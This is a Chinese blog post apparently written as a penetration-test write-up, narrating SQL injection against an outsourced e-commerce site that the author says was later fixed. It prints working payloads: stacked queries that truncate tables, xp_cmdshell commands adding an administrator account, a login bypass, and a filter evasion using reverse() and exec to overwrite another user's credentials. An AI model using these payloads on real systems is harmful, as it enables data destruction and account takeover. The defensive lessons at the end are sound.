路过秋天

同样的3年,有的人从学生到当了MVP了,而我却在原地,卖弄当年的代码,秋天的风,有点凄,有点凉!

公告信息
内涵是很强大的~~~别看外表~~~当犀利哥入侵不了的时候,感觉有种莫名的失落~~~
文章档案
最新评论

电子商务网站SQL注入项目实战一例

故事A段:发现整站SQL对外输出:

 

有个朋友的网站,由于是外包项目,深圳某公司开发的,某天我帮他检测了一下网站相关情况。

我查看了页面源代码,发现了个惊人的事情,竟然整站打印SQL到Html里,着实吓我一跳:

PS:2年前秋色园系列文章有分享一文是整站SQL打印用于分析网站性能,不过也只是本地优化调试,而服务器上也采用某特殊条件才打印。

于是把这赤祼祼的对外公开的SQL问题反映了过去,之后算是取消了。 


故事B段:错误异常打印了SQL,诱人: 

 

过了些许天,我又抽空看了看:

原始路径为:http://www.xxx.com/s-l----333.html,我随意加了个引号:

 

直接打印SQL?这不是引诱人犯罪么?好吧,当时被诱了一下,花了小半天折腾了一下。

 

故事C段:发现有简单的SQL关键字过滤: 

 

随意加了个“and“条件,发现有过滤一些关键字: 

  

然后多次检测,发现过滤了:and select,update,delete等关键字。

 

故事D段:发现可以执行自定义语句,但SQL账号似乎没有SA权限或者是关闭了xp_cmdshell服务: 

于是我组了一条: 

 

http://www.xxxx.com/s-l-82900-6'%20%20or%201=1;truncate%20table%20abc;-- 

 

试了下,没报啥提示,太恐怖了。

既然可以执行自定义语句,那执行下提权语句看看:

 

http://www.xxxx.com/s-l-82900-6'%20%20or%201=1;exec master..xp_cmdshell 'net user test 1234
http://www.xxxx.com/s-l-82900-6'%20%20or%201=1;exec master..xp_cmdshell 'net localgroup administrators test /add

 

发现没啥提示,但是账号不起效果,所以估计sql的账号没有sa权限可以调用xp_cmdshell,另外这里,由于--符号被用来分隔字符串,所以不起作用。


故事E段:发现登陆有明显的SQL漏洞: 

 

过了点时间,我就不折腾了,我打算注册个账号看看其它情况。 

到了登陆页,发现注册还要绑定手机号,我就不注册了,于是在登陆里随手弄了一个常见的a' or 1=1--

竟然报密码错误,吓我一跳,说明用户名注入了,只是密码那关错误。 

 

故事F段:发现验证码竟然在Cookie里: 

 

通过拦截请求信息,发现更奇葩的事:

 

验证码竟然直接放在Cookie里,这。。。


故事G段:破解用户密码: 

 

既然用户名可以注入,为啥密码还报错误?

通过错误的语法,看了一下对方的SQL语句,猜出了基本的代码逻辑:

 

根据用户名查出了账号信息,取出的数据的密码再和密码对比。

 


构造注入语句,发现密码为md5存储: 

 

既然可以注入,这里就可以执行语句了,于是,使用普通的语句弄个账号登陆试试。
一开始我构造了条件:
username=a'  or password='123456'--&password=123456&verifycode=5020 
考虑到用弱密码123456的很多,我就试了下,发现没搞头,本来还想写个爆破弱口令的账号。
后来想想,这密码,一般都是加密的,所以我要知道对方的加密方式。
通过多次构造类似下面的语句:
username=a'  or len(password)=16--&password=123456&verifycode=5020
最终确定了为md5加密存储。
于是把123456 md5一下变成:
username=a'  or password='49ba59abbe56e057'--&password=123456&verifycode=5020

 

没想到,来了个以下坑爹的提示:

 

试了下很多个账号,都是这种情况,这提示太坑爹,忽悠了我。

PS:其实是账号通过了,直接拿返回的Cookie就可以进用户的,不过我被忽悠了,以为不可用。


返回的Cookie,实际也是加密的,所以,这种方式,看不到手机号,所以没法直接简单的登陆。


再构造SQL注入语句,创建属于自己的账号和密码: 

 

于是,我想通过构造更新语句,把某个账号的手机号和密码都更新一下,然后再我登陆进去。
所以,我就必须执行类似于:update xxx set username='13811114444',password='888888' where uid=10003
由于过滤掉update,所以直接来是不行的,本来打还算编码成16进制折腾,发现转16进制麻烦,也懒的开vs折腾。
于是我想到了一个简单的方式,把语句反过来写,再用reverse函数把语句转过来执行。

 


最终就成了以下函数:

 

username=13430330585';declare @A varchar(200);set @A=reverse('''58803303431''=emanresu erehw ''9d4d9c1ac9814f08''=drowssaP tes xxx tadpu');exec(@A);--&password=88888888&verifycode=2222

 

执行后,发现都是返回“当前账号已冻结,请联系客户”这句大忽悠的话。。。

害的我试了N个账号,最后拿其中一个登陆了,才发现是正常的。

 

后来告诉了对方有SQL注入漏洞,最后反馈说用SQL工具检测正常,无语。

再后来就示例告诉了对方,修正了这个漏洞后,我就写文分享了。 

 

 

总结:

1:验证码怎么可以放Cookie里?

2:SQL语句怎么可以随意打印给别人看?

3:SQL注入检测怎么能光靠工具? 

4:防SQL注入怎么能靠几个简单的关键字过滤?

秋色园是QBlog的官方站点,由路过秋天创建,基于cyqdata数据层框架开发的支持多用户、多语言、多数据库(access,mssql,oracle)、目录级url等功能强大的博客系统
新浪微博粉丝精灵,刷粉丝、刷评论、刷转发、企业商家微博营销必备工具"

2013/7/23 4:38:50 | 记录点滴 | |

#1游客[注册][116.30.202.*]2013/12/31 9:46:36
通过关键字检索我已经知道是哪家单位了,相信其他人稍微检索一下也知道。截图上的URL都要打马赛克啊
  • 发表评论